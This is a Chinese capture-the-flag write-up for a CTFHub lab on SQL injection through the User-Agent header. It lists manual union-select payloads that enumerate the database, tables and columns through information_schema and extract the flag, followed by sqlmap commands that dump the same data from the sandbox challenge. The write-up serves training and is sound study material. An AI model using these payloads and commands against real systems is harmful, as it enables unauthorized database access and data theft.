技能树-Web题-SQL注入-Mysql结构-UA注入
UA注入
UA注入,即User-Agent注入
手工注入
利用bp抓包,发送至repeater进行判断
看提示

注入点在User-Agent
虽然有提示,在此还是按常规进行一下注入点判断吧
判断注入点
抓包后,输入1 and 1=1 有回显

输入 1 and 1=2 无回显

由此判断,此处为注入点
判断字段数
1 order by 3 无回显

1 order by 2 有回显

由此判断,表中有两个字段
判断回显字段数
-1 union select 1,2

1,2都回显,由此判断可回显字段数为2
爆库名
-1 union select user(),database()

得到数据库名为sqli
爆表名
-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()

得到两个表名,尝试查看第一个表中的数据
爆列名
-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='pqqvoicejs'

得到列名xwprqxhxjd
爆数据
-1 union select user(),group_concat(xwprqxhxjd) from sqli.pqqvoicejs

得到flag
sqlmap
UA注入 需要用到leve 3
爆库
sqlmap -u http://challenge-24633b96e4dbb170.sandbox.ctfhub.com:10800/ -level 3 --dbs --batch

爆表
sqlmap -u http://challenge-24633b96e4dbb170.sandbox.ctfhub.com:10800/ --level 3 -D sqli --tables --batch

爆列名
sqlmap -u http://challenge-24633b96e4dbb170.sandbox.ctfhub.com:10800/ --level 3 -D sqli -T zcvvebogfz --columns --batch

爆数据
sqlmap -u http://challenge-24633b96e4dbb170.sandbox.ctfhub.com:10800/ --level 3 -D sqli -T zcvvebogfz -C glotmiduat --dump --batch

本文详细描述了如何通过User-Agent注入进行SQL注入攻击,包括手工抓包判断注入点、确定字段数、回显字段数,以及使用sqlmap工具爆破数据库名、表名、列名和数据的过程。
2506

被折叠的 条评论
为什么被折叠?



